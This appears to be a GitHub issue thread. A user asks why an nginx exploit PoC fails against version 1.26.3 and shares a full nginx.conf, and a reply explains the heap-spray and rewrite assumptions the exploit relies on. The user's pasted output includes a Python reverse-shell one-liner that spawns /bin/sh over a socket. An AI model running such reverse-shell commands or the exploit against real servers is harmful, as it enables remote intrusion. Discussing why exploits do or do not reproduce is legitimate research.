poc.py isn't working, my Nginx version: 1.26.3, please see my `nginx.conf`.

[yswang0927]

I tested my nginx using the cmd python3 poc.py --host 127.0.0.1 --port 5080 --listen-ip 127.0.0.1 --shell, but it isn't working:

$ python3 poc.py --host 127.0.0.1 --port 5080 --listen-ip 127.0.0.1 --shell 

[*] Generated reverse shell command: python3 -c 'import socket,subprocess,os;s=socket.socket(socket.AF_INET,socket.SOCK_STREAM);s.connect(("127.0.0.1",1337));os.dup2(s.fileno(),0);os.dup2(s.fileno(),1);os.dup2(s.fileno(),2);subprocess.call(["/bin/sh","-i"])'
[*] Listening for reverse shell on port 1337...
[*] Waiting for nginx on 127.0.0.1:5080...
[+] Connected.
[+] All candidates tried — no crash detected.
[+] All candidates tried — no crash detected.
......

Environment:

OS: Ubuntu24
Nginx: v1.26.3

nginx.conf:

#user  nobody;
worker_processes  auto;

error_log  logs/error.log;
#error_log  logs/error.log  notice;
#error_log  logs/error.log  info;

pid  logs/nginx.pid;

worker_rlimit_nofile 51200;

events {
    use epoll;
    worker_connections 10240;
}


http {
    include  mime.types;
    default_type  application/octet-stream;

    sendfile  on;
    tcp_nopush  on;
    tcp_nodelay  on;

    keepalive_timeout  65;

    client_max_body_size 100M;
    client_body_buffer_size 512k;

    map $http_host $this_host {
        "" $host;
        default $http_host;
    }

    map $http_x_forwarded_proto $the_scheme {
        default $http_x_forwarded_proto;
        "" $scheme;
    }

    map $http_x_forwarded_host $the_host {
       default $http_x_forwarded_host;
       "" $this_host;
    }
    
    map $http_upgrade $connection_upgrade {
        default upgrade;
        ''      close;
    }

    server {
        listen 0.0.0.0:5080;

        location / {
            root   html;
            index  index.html;
        }

        location ~ ^/api/(.*)$ {
            rewrite ^/api/(.*)$ /internal?migrated=true;
            set $original_endpoint $1;
        }

        error_page  404  /404.html;
        error_page  500 502 503 504  /50x.html;
        location = /404.html {
            root html;
        }

        location = /50x.html {
            root html;
        }

    }

}

[NadjiHamid]

What you are observing (“Connected → all candidates tried → no crash”) is consistent with the PoC failing to reach a valid corruption primitive, rather than a networking or syntax issue.

A few important points about your setup:

1. NGINX 1.26.3 is likely outside the PoC’s effective assumption window

The exploit logic in poc.py depends heavily on older rewrite + memory allocation behavior. In newer NGINX versions (including 1.26.x), several internal behaviors have changed:

request body buffering strategy

pool allocation patterns

rewrite expansion handling

memory reuse timing

Even if the configuration contains the same trigger pattern:

rewrite ^/api/(.*)$ /internal?migrated=true;

this alone is not sufficient to produce any memory corruption on modern builds.

---

2. “Trigger presence” ≠ “exploitability”

The PoC is built around a syntactic indicator (? in rewrite replacement), but the actual exploit chain requires a combination of:

precise allocation layout alignment in request pools

controlled overwrite adjacency

timing overlap between spray and trigger requests

consistent buffer expansion behavior

If any of these conditions are not met, the result will be exactly what you are seeing: no crash and no observable side effect.

---

3. Heap spray in this version is not deterministic

Your /spray phase assumes stable heap placement via repeated POST bodies. In modern NGINX:

request bodies may be buffered in different layers (memory vs temp files)

allocator reuse is less predictable

concurrent worker behavior can break adjacency assumptions

This makes the spray phase non-deterministic unless the runtime environment is tightly controlled.

---

4. No observable crash does not necessarily mean “no overwrite”

It usually means one of the following:

overwrite never reached a critical structure

overwritten region is safely contained within a non-fatal buffer

memory layout differs from the original PoC assumptions

timing window was not hit

So the absence of a crash is actually expected in hardened or newer builds.

---

5. What would be needed for reproducibility (high level)

To make this class of PoC behave consistently, researchers typically need:

a known-good target build matching the original vulnerability conditions

stable allocator behavior (minimal external noise)

controlled concurrency and worker isolation

verified rewrite + expansion behavior at runtime

Without these, the exploit becomes probabilistic rather than deterministic.

---

Conclusion

In short: your configuration is valid, but your target environment is not aligned with the assumptions encoded in poc.py. The “no crash detected” outcome is therefore expected rather than indicative of misconfiguration.

If your goal is validation, the next step is not changing the exploit, but instead verifying whether your runtime actually preserves the same rewrite/allocator behavior model assumed by the PoC.

[yswang0927]

@NadjiHamid Thank you, I got it.